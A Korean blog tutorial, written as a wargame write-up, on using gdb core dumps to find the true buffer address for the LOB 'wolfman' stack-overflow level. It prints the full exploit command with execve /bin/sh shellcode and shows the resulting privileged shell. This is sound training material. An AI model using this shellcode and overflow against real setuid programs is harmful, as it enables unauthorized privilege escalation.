[linux] gdb에서 core사용하기

두비니

·

2020. 7. 17. 22:24

 

 

 

 


GDB에서 core 사용하기


 

 

gdb로 분석을 하다보면, 내가 맞다고 생각했던 payload가 답이 아닐 때가 있습니다.

특히 Segmentation Fault같은 에러가 발생하면 뒷목잡기를 유발하죠.

이는 파일이 직접 실행되면서 실제 동적 프로세서 주소와 차이가 있기 때문입니다.

이럴 때 사용할 수 있는 core파일 이라는 게 있습니다.

 

 

간단히 설명하자면, 어떤 프로그램이 각종 crash를 발생하면서 프로그램을 종료했을 때,

종료하기 전 상황을 core라는 파일로 남깁니다.

 

 

그럼 이 core파일 기준으로 분석을 해준다면, 이는 동적 프로세서가 직접 할당한 주소이기 때문에, 오차가 발생할 일이 없다는 것이죠.

 

 

우선 

문제 예시는 LOB wolfman입니다.

우선 파일을 복사해줍니다. 복사를 해주는 이유는 자신의 권한이 있어야만 core파일이 생성되는것 같더라구요.

 

[wolfman@localhost wolfman]$ cp darkelf larkelf
[wolfman@localhost wolfman]$ ./larkelf `python -c 'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\xbf\xbf\xbf\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
                                       ̀▒▒▒▒
Segmentation fault (core dumped)

 

 

그럼 이제 core를 분석해봅시다.

core파일을 분석하는 명령어는 gdb -q -c core입니다.

[wolfman@localhost wolfman]$ ls
wolfman		lolfman		core
[wolfman@localhost wolfman]$ gdb -q -c core
Core was generated by `./larkelf ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
                                                                        ̀▒▒▒▒'.
Program terminated with signal 11, Segmentation fault.
#0  0xbfbfbfbf in ?? ()
(gdb) x/100x $esp
0xbffffaf0:     0x00000000      0xbffffb34      0xbffffb40      0x40013868
0xbffffb00:     0x00000002      0x08048450      0x00000000      0x08048471
0xbffffb10:     0x08048500      0x00000002      0xbffffb34      0x08048390
0xbffffb20:     0x0804864c      0x4000ae60      0xbffffb2c      0x40013e90
0xbffffb30:     0x00000002      0xbffffc34      0xbffffc3e      0x00000000
0xbffffb40:     0xbffffc6f      0xbffffc81      0xbffffc9a      0xbffffcb9
0xbffffb50:     0xbffffcdb      0xbffffce8      0xbffffeab      0xbffffeca
0xbffffb60:     0xbffffee7      0xbffffefc      0xbfffff1b      0xbfffff26
0xbffffb70:     0xbfffff36      0xbfffff3e      0xbfffff48      0xbfffff58
0xbffffb80:     0xbfffff66      0xbfffff74      0xbfffff85      0xbfffff90
0xbffffb90:     0xbfffffa3      0xbfffffe6      0x00000000      0x00000003
0xbffffba0:     0x08048034      0x00000004      0x00000020      0x00000005
0xbffffbb0:     0x00000006      0x00000006      0x00001000      0x00000007
0xbffffbc0:     0x40000000      0x00000008      0x00000000      0x00000009
0xbffffbd0:     0x08048450      0x0000000b      0x000001f9      0x0000000c
0xbffffbe0:     0x000001f9      0x0000000d      0x000001f9      0x0000000e
0xbffffbf0:     0x000001f9      0x00000010      0x0fabfbff      0x0000000f
0xbffffc00:     0xbffffc2f      0x00000000      0x00000000      0x00000000
0xbffffc10:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffc20:     0x00000000      0x00000000      0x00000000      0x69000000
0xbffffc30:     0x00363836      0x616c2f2e      0x6c656b72      0x90900066
0xbffffc40:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc50:     0x50c03190      0x732f2f68      0x622f6868      0xe3896e69
---Type <return> to continue, or q <return> to quit---
0xbffffc60:     0xe1895350      0x0bb0c289      0xbfbf80cd      0x0000bfbf
0xbffffc70:     0x00000000      0x00000000      0x00000000      0x00000000

 

 

그럼 그상태에서 평소같이 분석을 해주면 됩니다. 

여기서는 결국 0xbffffc40을 리턴주소로 잡았네요.

 

 

[wolfman@localhost wolfman]$ ./darkelf `python -c 'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x40\xfc\xff\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
                                       ̀@▒▒▒
bash$ id
uid=505(wolfman) gid=505(wolfman) euid=506(darkelf) egid=506(darkelf) groups=505(wolfman)

 

우왕 문제풀렸다

암튼 이렇게 사용하시면 됩니다.

 

혹시라도 core가 생성이 안된다면?

https://lapan.tistory.com/68

 

core 파일 생성법

대개 응용의 crash가 날 경우, core파일을 통해 디버깅할 수 있는데, 간혹 생성되지 않을 경우가 있다.  웬만한 것을 건들지 않는다는 가정하에 간단한 해결책은 ulimit -a 로 core dump에 대한 size가 너�

lapan.tistory.com

 

LOB 풀이를 보고싶다면?

https://dokhakdubini.tistory.com/category/War%20Games/%ED%95%B4%EC%BB%A4%EC%8A%A4%EC%BF%A8%20LOB

 

'War Games/해커스쿨 LOB' 카테고리의 글 목록

절.대.독.학.해.

dokhakdubini.tistory.com